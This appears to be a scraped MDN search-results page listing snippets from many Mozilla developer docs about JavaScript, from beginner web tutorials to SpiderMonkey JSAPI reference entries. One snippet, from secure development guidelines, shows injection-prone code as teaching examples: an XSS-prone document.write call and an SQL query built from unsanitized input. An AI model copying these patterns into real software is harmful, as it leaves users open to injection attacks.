a library tends to be an existing javascript or css file that provides ready-rolled functionality for you to make use of in your code.
... dealing with files html basics css basics javascript basics publishing your website how the web works ...
Publishing your website - Learn web development
using a web-based ide such as codepen there are a number of web apps that emulate a website development environment, allowing you to enter html, css and javascript, and then display the result of that code as a website — all in one browser tab.
... dealing with files html basics css basics javascript basics publishing your website how the web works ...
Getting started with the Web - Learn web development
javascript basics javascript is the programming language that you use to add interactive features to your website.
...javascript basics gives you an idea of what is possible with this exciting language, and how to get started.
Advanced text formatting - Learn web development
there is no way to get the browser to display the contents of cite, without writing your own solution using javascript or css.
...you should try having a play with these (try grabbing a copy of our other-semantics.html sample file): <pre><code>var para = document.queryselector('p'); para.onclick = function() { alert('owww, stop poking me!'); }</code></pre> <p>you shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p> <p>in the above javascript example, <var>para</var> represents a paragraph element.</p> <p>select all the text with <kbd>ctrl</kbd>/<kbd>cmd</kbd> + <kbd>a</kbd>.</p> <pre>$ <kbd>ping mozilla.org</kbd> <samp>ping mozilla.org (63.245.215.20): 56 data bytes 64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre> the above code will look like so: marking up times and dates html also provides the <t...
Debugging HTML - Learn web development
and html's element syntax is arguably a lot easier to understand than a "real programming language" like rust, javascript, or python.
... you will know when all your errors are fixed when you see the following banner in your output: summary so there we have it, an introduction to debugging html, which should give you some useful skills to count on when you start to debug css, javascript, and other types of code later on in your career.
HTML text fundamentals - Learn web development
to style content with css, or make it do interesting things with javascript, you need to have elements wrapping the relevant content, so css/javascript can effectively target it.
...you use it to wrap content when you want to apply css to it (or do something to it with javascript) without giving it any extra meaning.
Assessment: Structuring planet data - Learn web development
you could paste the html, css and javascript into one of these online editors.
... if the online editor you are using doesn't have separate javascript/css panels, feel free to put them inline <script>/<style> elements inside the html page.
Function return values - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps, functions — reusable blocks of code.
...below the two existing lines of javascript, add the following function definitions: function squared(num) { return num * num; } function cubed(num) { return num * num * num; } function factorial(num) { if (num < 0) return undefined; if (num == 0) return 1; let x = num - 1; while (x > 1) { num *= x; x--; } return num; } the squared() and cubed() functions are fairly obvious — they return the square or cube o...
Test your skills: Functions - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
Test your skills: Math - Learn web development
this aim of this skill test is to assess whether you've understood our basic math in javascript — numbers and operators article.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
Test your skills: Strings - Learn web development
this aim of this skill test is to assess whether you've understood our handling text — strings in javascript and useful string methods articles.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
Test your skills: JSON - Learn web development
note: in the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...in the live code editor above, both the javascript code and the requested json file are on the same origin (the code sits on a github repo, and is embedded here in an <iframe>).
Test your skills: Object basics - Learn web development
this aim of this skill test is to assess whether you've understood our javascript object basics article.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
Measuring performance - Learn web development
these interfaces allows the accurate measurement of the time it takes for javascript tasks to complete.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
Multimedia: Images - Learn web development
many javascript libraries can implement this for you, such as lazysizes, and browser vendors are working on a native lazyload attribute that is currently in the experimental phase.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
Perceived performance - Learn web development
for example, because page render is blocked by loading and parsing css and javascript, minimizing the amount of css and js that needs to be loaded on initially will have a major impact on improving perceived performance.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
Deploying our app - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages.
...also see our cross browser testing module for a bunch of useful testing information remember also that tests are not limited to javascript; tests can be run against the rendered dom, user interactions, css, and even how a page looks.
Choosing the right memory allocator
npn_memalloc npn_memfree npn_memflush javascript api memory allocators there are also routines intended for use within the javascript runtime engine (spidermonkey).
...also, all consumers of the jsapi must use these routines for allocating memory they plan to pass to the javascript runtime.
Command line options
-purgecaches gecko (layout engine) has a javascript cache, which is not reset on startup, this clears it.
... -venkman start with the javascript debugger, venkman, if installed.
Creating a Login Manager storage module
sample javascript implementation the following code snippet is a javascript component that implements a dummy nsiloginmanagerstorage interface.
... see how_to_build_an_xpcom_component_in_javascript for more details about javascript components.
Creating Sandboxed HTTP Connections
this article will cover the basics of doing http connections from xpcom javascript, and should easily translate to c++ xpcom.
...it is usually best to use a javascript wrapper that implements all the required methods and calls the specified callback function when the connection has completed.
Makefile - variables
extra_components nsdefaultclh.manifest, javascript xpcomm files extra_dso_libs extra_dso_ldopts extra_js_modules extra_pp_components xpcomm files to pre-process before installation.
... has_extra_exports pref_js_exports javascript preferences file to export[1].
The Firefox codebase: CSS Guidelines
avoid setting styles in javascript.
... (either from javascript or overriden by another css file) if the answer is no, consider using a preprocessor variable or simply inlining the value.
Creating Custom Events That Can Pass Data
note that starting with version 6, firefox supports dom level 3 customevent, which lets you dispatch custom events with arbitrary data from javascript.
...dispatching your event in javascript here is how to dispatch your event in javascript.
Limitations of chrome scripts
in this case, the shim will return a javascript object that looks somewhat like a window or a document for about:blank.
... javascript code modules (jsms) in single-process firefox, you can use javascript code modules (jsms) to maintain global state.
Message manager overview
parent process message manager lives in the implements nsimessagelistenermanager nsimessagebroadcaster child process message manager implements nsimessagelistenermanager nsimessagesender loading scripts per child process since the process message managers do not support script loading the only way to implement per-child process code is to use a frame script which imports a custom javascript module (jsm).
... since javascript modules are singletons they will only be executed once per process even when they are loaded in multiple frame scripts.
Assert.jsm
the assert.jsm javascript code module implements the commonjs unit testing specification version 1.1, which provides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://testing-common/assert.jsm"); the assert class offers methods for performing common logical assertions.
AsyncShutdown.jsm
webworkersshutdown read only phase javascript threads are about to be killed.
... this phase represents the last chance to communicate with a javascript worker, in particular with os.file.
DeferredTask.jsm
the deferredtask.jsm javascript code module offers utility routines for a task that will run after a delay.
...to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/deferredtask.jsm"); use this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards.
Dict.jsm
the dict.jsm javascript code module offers routines for managing dictionaries of key/value pairs.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type.
DownloadLastDir.jsm
the downloadlastdir.jsm javascript code module lets you retrieve the path of the last directory into which a download occurred.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloadlastdir.jsm"); if you are using addon sdk, you can import the code module as: let { cu } = require("chrome"); let downloadlastdir = cu.import("resource://gre/modules/downloadlastdir.jsm").downloadlastdir; once you've imported the module, you can then use the downloadlastdir object it exports.
Downloads.jsm
the downloads.jsm javascript code module provides a single entry point to interact with the downloading capabilities of the platform, including starting new downloads, controlling ongoing downloads, and retrieving download-related configuration.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window.
FileUtils.jsm
the fileutils.jsm javascript code module offers utility routines dealing with files.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like this: var f = new fileutils.file(mypath); method overview nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutputstream opensafefileoutputstream(nsifile file, int modeflags); void closeatomicfileoutputst...
Geometry.jsm
the geometry.jsm javascript code module provides routines for performing common geometry operations on points and rectangles.
...to use these routines, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/geometry.jsm"); once you've imported the module, you can then use the point and rect classes.
Log.jsm
the log.jsm javascript code module (formerly named log4moz.js) provides a log4j style api for logging log messages to various endpoints, such as the browser console or a file on disk.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code.
PerfMeasurement.jsm
the perfmeasurement.jsm javascript code module lets you take detailed performance measurements of your code.
... note: the perfmeasurement.jsm javascript code module can only be used from chrome -- that is, from within the application itself or an add-on.
Promise.jsm
the promise.jsm javascript code module implements the promises/a+ proposal as known in april 2013.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promise.jsm"); note: a preliminary promise module is also available starting from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/commonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // g...
PromiseUtils.jsm
the promiseutils.jsm javascript code module offers some useful functions related to dom promise.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promiseutils.jsm"); method overview deferred defer(); methods defer() creates a new pending promise and provides methods to resolve or reject this promise.
Task.jsm
the task.jsm javascript code module implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascript's yield operator.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/task.jsm"); introduction for an introduction to tasks, you may start from the task.js documentation, keeping in mind that only the core subset is implemented in this module.
openLocationLastURL.jsm
(bug 953124) the openlocationlasturl.jsm javascript code module lets you set and retrieve the url most recently opened using the "open location" option in the file menu.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlasturl.jsm"); once you've imported the module, you can then use the openlocationlasturl object it exports.
Localization content best practices
u+2018 and u+2019 (\u2018 and \u2019 in javascript) are the left and right single quotation marks, respectively.
... u+201c and u+201d (\u201c and \u201d in javascript) are the left and right double quotation marks, respectively.
MathML Demo: <mspace> - space
<br /> height <a class="control" href="javascript:upheight();" title="increase height">+</a>/ <a class="control" href="javascript:downheight();" title="decrease height">-</a> width <a class="control" href="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="control" href="javascript:updepth();" title="increase depth">+</a>/ <a class="control" href="ja...
...vascript:downdepth();" title="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight() { height--; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function upwidth() { width++; document.getelementbyid("thespace").setattribute("width",width+".1em"); } function downwidth() { width--; document.getelementbyid("thespace").setattribute("width",width+".1em"); } function updepth...
DMD
if you wish to trigger dmd dumps from within c++ or javascript code, you can use nsimemoryinfodumper.dumpmemorytotempdir.
... for example, from javascript code you can do the following.
GC and CC logs
this logs the contents of the javascript heap to a file named gc-edges-nnnn.log.
... live gc logging can be enabled with the pref javascript.options.mem.log.
Measuring performance using the PerfMeasurement.jsm code module
the perfmeasurement.jsm javascript code module lets you take detailed performance measurements of your code.
... note: the perfmeasurement.jsm javascript code module can only be used from chrome -- that is, from within the application itself or an add-on.
Memory Profiler
the profiler is designed at the very beginning to support not only javascript but also native codes.
... naturally, not only javascript objects but also native allocations are tracked.
TimerFirings logging
there are also timers for settimer or setinterval calls in javascript code, as the following sample shows.
...46880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created.
Preference reference
javascript.options.showinconsolethe preference javascript.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.javascript.options.stricttechnical review completed.mail.tabs.drawintitlebarstarting in thunderbird 17.0, the tabs are drawn in the title bar.
...the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a “compiled” version of the xul and javascript in a document to disk for faster startup the next time the application runs.reader.parse-on-load.force-enabledthe preference reader.parse-on-load.force-enabled controls if the reader mode used in firefox mobile should be enabled independent of the memory available in the device.
JSHydra
jshydra is a static analysis tool that is capable of performing analysis of general javascript code.
...all analysis is performed by running javascripts.
Localization Use Cases
the javascript code hasn't changed yet, but there's another improvement that can be introduced, which is described below.
... in the javascript code, the developer needs to pass sizeinfo.unit instead of a localized value: function showformatedsize(element, l10nid, size) { // … element.textcontent = document.l10n.get(l10nid, { size: sizeinfo.size, unit: sizeinfo.unit }); } and then use the $unit variable verbatim in the english message: <availablesize "{{ $size }} {{ $unit }} available"> in french, the localizer can ...
L20n
a javascript localization framework to unleash your natural language's power with simple code.
... l20n javascript api an api for l20n.js.
Rhino FAQ
frequently asked questions about rhino how do i create a java array from javascript?
... you've likely missed placing the security.properties file in your class path at org.mozilla.javascript.resources.
Performance Hints
a constructor call like that indicates to the runtime that a javascript array should be used for the first n entries of the array.
... similarly, new array("a", "b", "c") or ["a", "b", "c"] will cause a 3-element array to be allocated to hold the contents of the javascript array.
Shumway
the whats and whys of shumway shumway is a renderer for adobe flash built entirely in web standards (javascript, webgl, and others).
...users who disable flash because of security or performance concerns can still see content through shumway because it cannot be forced to behave worse than javascript (and webgl, etc.) allows.
GCIntegration - SpiderMonkey Redirect 1
development of moving gc (both generational and compacting) is under way, but only in the javascript shell so far.
...we don't know yet how many there will be outside of the javascript engine.
Functions
there are several flavors of javascript function.
...(but note that objects of other classes can be callable and can even have typeof obj == "function".) script functions functions written in javascript and compiled to bytecode.
SpiderMonkey Internals: Thread Safety
this page describes implementation details of the spidermonkey javascript engine.
...the jscontext can be thought of as a machine that knows how to run javascript code, or as an abstraction of the notion of a thread.
JS::FalseValue
this article covers features introduced in spidermonkey 24 create a js::value that represents the javascript value false.
... syntax js::value js::falsevalue() description js::falsevalue creates a js::value that represents the javascript value false.
JS::NullHandleValue
this article covers features introduced in spidermonkey 24 the js::value that represents the javascript value null.
... syntax const js::handlevalue js::nullhandlevalue; description js::nullhandlevalue is a js::handlevalue constant that represents the javascript value null.
JS::NullValue
this article covers features introduced in spidermonkey 24 create a js::value that represents the javascript value null.
... syntax js::value js::nullvalue(); description js::nullvalue creates a js::value that represents the javascript value null.
JS::PersistentRooted
; typedef persistentrooted<jsscript*> persistentrootedscript; typedef persistentrooted<jsstring*> persistentrootedstring; typedef persistentrooted<js::symbol*> persistentrootedsymbol; // added in spidermonkey 38 typedef persistentrooted<value> persistentrootedvalue; } example following example allocates persistentrootedvalue, and provides two functions for setting and getting it from javascript.
... if (!js_definefunctions(cx, glob, functions)) return 1; // use those function in javascript.
JS::ToBoolean
this article covers features introduced in spidermonkey 17 convert any javascript value to a boolean.
... description js::toboolean converts a javascript value to a boolean.
JS::ToInt32
this article covers features introduced in spidermonkey 17 convert any javascript value to a signed 32bit integer.
... description js::toint32 converts a javascript value to a signed 32bit integer.
JS::ToInt64
this article covers features introduced in spidermonkey 17 convert any javascript value to a signed 64bit integer.
... description js::toint64 converts a javascript value to a signed 64bit integer.
JS::ToNumber
this article covers features introduced in spidermonkey 17 convert any javascript value to a double.
... description js::tonumber converts a javascript value to a number.
JS::ToPrimitive
this article covers features introduced in spidermonkey 45 converts a javascript object to a primitive value, using the semantics of toprimitive.
... description js::toprimitive converts a javascript object, obj, to a primitive value using ecmascript 6 toprimitive.
JS::ToString
this article covers features introduced in spidermonkey 31 convert any javascript value to a string.
... description js::tostring returns a string representation of a javascript value.
JS::ToUint16
this article covers features introduced in spidermonkey 17 convert any javascript value to an unsigned 16bit integer.
... description js::toint16 converts a javascript value to an unsigned 16bit integer.
JS::ToUint32
this article covers features introduced in spidermonkey 17 convert any javascript value to an unsigned 32bit integer.
... description js::touint32 converts a javascript value to an unsigned 32bit integer.
JS::ToUint64
this article covers features introduced in spidermonkey 17 convert any javascript value to an unsigned 64bit integer.
... description js::toint64 converts a javascript value to an unsigned 64bit integer.
JS::TrueHandleValue
this article covers features introduced in spidermonkey 38 the js::value that represents the javascript value true.
... syntax const js::handlevalue js::truehandlevalue; const js::handlevalue js::falsehandlevalue; description js::truehandlevalue and js::falsehandlevalue are js::handlevalue constants that represent the javascript values true and false.
JS::TrueValue
this article covers features introduced in spidermonkey 24 create a js::value that represents the javascript value true.
... syntax js::value js::truevalue() description js::truevalue creates a js::value that represents the javascript value true.
JS::UndefinedHandleValue
this article covers features introduced in spidermonkey 24 the js::value that represents the javascript value undefined.
... syntax const js::handlevalue js::undefinedhandlevalue; description js::undefinedhandlevalue is a js::handlevalue constant that represents the javascript value undefined.
JS::UndefinedValue
this article covers features introduced in spidermonkey 24 create a js::value that represents the javascript value undefined.
... syntax js::value js::undefinedvalue(); description js::undefinedvalue creates a js::value that represents the javascript value undefined.
JS::Value
js::value is the type of javascript values in the jsapi.
... a c++ variable of type js::value represents a value in javascript: a string, number, object (including arrays and functions), boolean, symbol, null, or undefined.
JSExtendedClass
obsolete since javascript 1.8.5this feature is obsolete.
...overrides the javascript == and != operators.
JSFUN_BOUND_METHOD
obsolete since javascript 1.8.5this feature is obsolete.
...future versions of the javascript engine may not support or recognize this macro.
JSFunction
for native functions and jsapi-compiled functions - that is, functions returned by the apis listed above-there is a simple one-to-one relationship between the jsfunction and the corresponding javascript function object.
...for other function objects - that is, functions created by running javascript code containing function declarations or function-expressions-the relationship between the jsfunction * and the jsobject * is not well-defined.
JSNewResolveOp
jsresolve_classname obsolete since javascript 1.8.8 class name used when constructing.
... jsresolve_with obsolete since javascript 1.8.8 the lookup is occurring for a name evaluated inside a with statement.
JSObject
jsobject is the type of javascript objects in the jsapi.
...the javascript engine sometimes uses this relationship to implement lexical scoping.
JSObjectPrincipalsFinder
description the javascript engine calls this callback to obtain principals for a jsprincipals.subsume check.
... another example: when the function constructor is called, the javascript engine calls the object principals finder callback to obtain principals for the local scope object, to check that the caller has access to that object.
JSProtoKey
value prototype in javascript jsproto_null a dummy key for invalid prototype.
... jsproto_shareduint8clampedarray shareduint8clampedarray (nightly only) mxr search for jsproto_shareduint8clampedarray jsproto_typedarray typedarray added in spidermonkey 38 mxr search for jsproto_typedarray jsproto_atomics atomics (nightly only) mxr search for jsproto_atomics description each of these types corresponds to standard objects in javascript.
JSString
a jsstring represents a primitive javascript string in the jsapi.
... conceptually, a javascript string is just an array of char16_t characters and a length.
JSType
the values of the jstype enumeration represent the types of javascript values.
... jstype_object javascript objects.
JSVAL_IS_GCTHING
javascript performs automatic garbage collection of objects, strings, and doubles.
... this macro exposes javascript engine implementation details and usually isn't what the application really means.
JSVAL_IS_INT
determine if a given jsval is a javascript number represented in memory as an integer.
...example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it is a js integer data type.
JSVAL_IS_NULL
syntax jsval_is_null(v) description jsval_is_null(v) is true if v is jsval_null, which is the javascript null value.
... (note: jsval_is_object(jsval_null) is also true.) example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it contains a null value.
JSVAL_NULL
the jsval that represents the javascript value null.
... syntax jsval_null description jsval_null is a jsval constant that represents the javascript value null.
JSVAL_TRUE
jsval constants that represent the javascript values true and false.
... syntax jsval_true jsval_false description jsval_true and jsval_false are jsval constants that represent the javascript boolean values, true and false.
JSVAL_VOID
the jsval that represents the javascript value undefined.
... syntax jsval_void description jsval_void is a jsval constant that represents the javascript value undefined.
JS_ConstructObject
if this is null, an ordinary javascript object is created.
... neither of these functions is quite like the javascript new keyword.
JS_ConvertValue
converts a javascript value to a value of a specific javascript type.
... description js_convertvalue converts a javascript value, v, to the specified type.
JS_DefaultValue
this article covers features introduced in spidermonkey 1.8.6 converts a javascript object to a primitive value, using the semantics of that object's internal [[defaultvalue]] hook.
... description js_defaultvalue converts a javascript object, obj, to a primitive value using that object's [[defaultvalue]] hook.
JS_DefineFunction
description js_definefunction exposes a c/c++ function to scripts by defining a new method on an existing javascript object.
...call is a pointer to the c/c++ function that is to be exposed to javascript.
JS_DeleteElement
for javascript 1.2 and earlier, if failure occurs because you attempt to delete a permanent or read-only element, js_deleteelement reports the error before returning false.
... for javascript 1.3 and later, the attempt is silently ignored.
JS_DeleteElement2
for javascript 1.2 and earlier, if deletion fails because the property is permanent, js_deleteelement2 reports the error and returns false.
... for javascript 1.3, the attempt is silently ignored.
JS_DeleteProperty2
it behaves like the javascript expression delete obj[name].
... (in javascript 1.2 and earlier, attempting to delete a permanent property caused an error.
JS_DestroyRuntime
frees a javascript runtime.
... description js_destroyruntime frees the specified the javascript runtime environment, rt.
JS_EncodeStringToBuffer
this article covers features introduced in spidermonkey 1.8.5 convert a javascript string to a c string.
... description js_encodestringtobuffer converts the specified javascript str to a c string (an array of 8-bit chars) and fills the specified buffer with up to length bytes of the string.
JS_Enumerate
(the term own property refers to a property that is not inherited from the object's prototype.) this is not quite the same behavior as a javascript for...in loop, which converts all property ids to strings and also enumerates inherited properties.
...but, for example, if an application calls back into javascript while it is looping over the property ids in the jsidarray, the script could delete properties from obj.
JS_GetGlobalObject
(in javascript, global variables are stored as properties of the global object.) syntax jsobject * js_getglobalobject(jscontext *cx); name type description cx jscontext * the context from which to retrieve the global object.
...the object returned by js_getglobalobject is not necessarily the same thing as the global object seen by any javascript code that runs in cx!
JS_GetInstancePrivate
obsolete since jsapi 32 this must be one of the following: an argv pointer created by the javascript engine and passed to a jsnative callback; js_argv(cx, vp) where vp is a pointer created by the engine and passed to a jsfastnative callback; or null.
... description js_getinstanceprivate determines if a javascript object, obj, is an instance of a given jsclass, clasp, and if it is, returns a pointer to the object's private data.
JS_GetNaNValue
nan is typically used in javascript as the return value of a numeric operation when an argument is invalid or conversion fails.
...while the ieee standard defines many nan bit-patterns, they are indistinguishable in javascript, so in effect there's only one nan.
JS_GetProperty
it behaves like the javascript expression obj[name].
...if the property has a javascript getter, it is called.
JS_HasInstance
jsapi method equivalent to the instanceof operator in javascript.
...this function is equivalent to v instanceof obj test in javascript.
JS_HasOwnProperty
this article covers features introduced in spidermonkey 45 determine whether a javascript object has a specified own property.
...it behaves like the javascript expression object.hasownproperty(obj, name).
JS_HasProperty
determine whether a javascript object has a specified property.
...it behaves like the javascript expression name in obj.
JS_LookupElement
description js_lookupelement examines a specified javascript object, obj, for a numeric property numbered index.
... note: in the javascript language, numeric properties (also called "elements") are just ordinary properties whose names are numeric strings.
JS_LookupProperty
when executing javascript code that uses properties, spidermonkey looks up properties using slightly different rules depending on the syntactic context in which the property name appears.
... (the javascript engine simply passes these flags through to the object when it calls the object's jsclass.resolve callback, so objects of a custom jsclass may interpret these flags however they like.) if flags is 0, js_lookuppropertywithflags uses the default lookup rules, the ones used by js_lookupproperty.
JS_LooselyEqual
this article covers features introduced in spidermonkey 1.8.1 determine whether two javascript values are equal in the sense of the == operator.
... description js_looselyequal determines if v1 is loosely equal to v2 under the javascript == operator, as specified in ecma 262-3 §11.9.3.
JS_New
this article covers features introduced in spidermonkey 1.8 create an object as though by using the new keyword and a javascript function.
... js_new(cx, ctor, args) is equivalent to the javascript expression new ctor(...args), and js_new(cx, ctor, argc, argv) is equivalent to the javascript expression new ctor(argv[0], argv[1], ...
JS_NewArrayObject
js_newarrayobject with length parameter creates a new array object with the specified length; the result is like the javascript expression new array(length).
...(this means that if length is nonzero and vector is null, the result is like the javascript expression new array(length).
JS_NewContext
javascript objects, functions, strings, and numbers may be shared among the contexts in a jsruntime, but they cannot be shared across jsruntimes.
... the stackchunksize parameter does not control the javascript stack size.
JS_NewNumberValue
on success, *rval receives a javascript number with the value d.
... description js_newnumbervalue converts a c floating-point number of type jsdouble to jsval, the type of javascript values.
JS_NewPropertyIterator
the iterator object created by this function is not a javascript iterator.
... it is an opaque object with no properties visible from javascript.
JS_NewRuntime
initializes the javascript runtime.
...added in spidermonkey 31 description js_newruntime initializes the javascript runtime environment.
JS_NewScriptObject
return the javascript script object that wraps a compiled script.
...so a script object can be used to expose a jsscript to javascript code, but the code can't do much of anything with it.
JS_PreventExtensions
obsolete since jsapi 39 description all javascript objects recognize the concept of extensibility: whether new properties may be added to the object.
... in javascript this may be accomplished using the object.preventextensions method.
JS_ReportError
this function can also raise a javascript exception which a currently executing script can catch.
...if the caller is in a jsapi callback, js_reporterror also creates a new javascript error object and sets it to be the pending exception on cx.
JS_ReportOutOfMemory
when the javascript engine tries to allocate memory and allocation fails, it reports an error as though by calling this function.
...when a script tries to grow an array beyond 230-1 elements, for example, or concatenate strings such that the result is more than 229-1 characters long, the javascript engine reports an error as though by calling this function.
JS_SetGCZeal
the drawback is that gc zeal can cause javascript code to run extremely slowly.
...(in a debug build of gecko, you can also set the current gc zeal level using the javascript.options.gczeal preference.) see also mxr id search for js_setgczeal mxr id search for js_gc_zeal js_schedulegc bug 308429 bug 650978 ...
JS_SetInterruptCallback
this article covers features introduced in spidermonkey 31 set a callback function that is automatically called periodically while javascript code runs.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
JS_SetPrivate
the javascript engine never uses it.
... if your class's private data contains any jsvals or other references to javascript objects, implement the jsclass.mark callback to ensure they are not prematurely reclaimed by the garbage collector.
JS_SetProperty
it behaves like the javascript expression obj[name] = v.
...if the property has a javascript setter, it is called; otherwise, if it has a javascript getter, then an error is reported; otherwise the property's setter is called, passing the arguments (cx, obj, id, &v).
JS_SetPrototype
set a javascript object's prototype.
...take care not to create a circularly-linked list of prototypes using this function, because such a set of prototypes cannot be resolved by the javascript engine and can easily lead to an infinite loop.
JS_StrictlyEqual
this article covers features introduced in spidermonkey 1.8.1 determine whether two javascript values are equal in the sense of the === operator.
... description js_strictlyequal determines if v1 is strictly equal to v2 under the javascript === operator, as specified in ecma 262-3 §11.9.6.
JS_ValueToBoolean
replaced by js::toboolean convert any javascript value to a boolean value.
... description js_valuetoboolean converts a specified javascript value, v, to a boolean value.
JS_ValueToFunction
description js_valuetofunction converts a specified javascript value, v, to a function.
...the javascript engine attempts to convert it to a function.
JS_ValueToNumber
convert any javascript value to a floating-point number of type jsdouble.
... description js_valuetonumber converts a javascript value to a number.
JS_ValueToSource
convert a js::value to a javascript source.
... description js_valuetosource converts a specified javascript value, v, to a javascript source.
JS_ValueToString
description js_valuetostring converts a specified javascript value, v, to a string.
...the result is like the javascript expression ""+v.
Split object
more indirectly, suppose there's a javascript function defined in page b that refers to global variables in page b.
...circa firefox 1.5, the decision was made to cache layout information and javascript state across navigation.
TPS Tests
the python test runner will read a test file (in javascript format), setup one or more firefox profiles with the necessary extensions and preferences, then launch firefox and pass the test file to the extension.
...both python and javascript read them in.
Secure Development Guidelines
xss: example the following snippet of javascript: document.write("welcome to " + document.location); ...
... > &quot; → " &apos; → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null...
Using the Places annotation service
ems in the places database: setitemannotationstring(aitemid, aname, avalue, aflags, aexpiration); setitemannotationint32(aitemid, aname, avalue, aflags, aexpiration); setitemannotationint64(aitemid, aname, avalue, aflags, aexpiration); setitemannotationdouble(aitemid, aname, avalue, aflags, aexpiration); setitemannotationbinary(aitemid, aname, avalue, adatalen, aflags, aexpiration); from javascript there are two simple function to perform all of these operations: setpageannotation(auri, aname, avalue, aflags, aexpiration); setitemannotation(aitemid, aname, avalue, aflags, aexpiration); these annotations all take similar parameters: uri or itemid: this is the nsiuri of the page to annotate, or for items in the places database, the id of the item.
..., aname); getpageannotationint64(auri, aname); getpageannotationdouble(auri, aname); getpageannotationbinary(auri, aname, adata, adatalen, amimetype); getitemannotationstring(aitemid, aname); getitemannotationint32(aitemid, aname); getitemannotationint64(aitemid, aname); getitemannotationdouble(aitemid, aname); getitemannotationbinary(aitemid, aname, adata, adatalen, amimetype); from javascript: getpageannotation(auri, aname); getitemannotation(aitemid, aname); these functions will return/throw ns_error_not_available if the annotation requested does not exist.
The Publicity Stream API
accessing the api the publicity api can be enabled by including a javascript library.
...[is this still doable?] the javascript library should be included from: https://myapps.mozillalabs.com/jsapi/publicity.js all apis related to open web applications are accessed under the navigator.apps object.
extIPreferenceBranch
the use of a variant as the return value means that to javascript code the value will appear as a value of the same type as is used in the preferences file and no coercion will occur.
... an integer preference appears as a javascript number, and a boolean appears as a javascript boolean.
Bundling multiple binary components
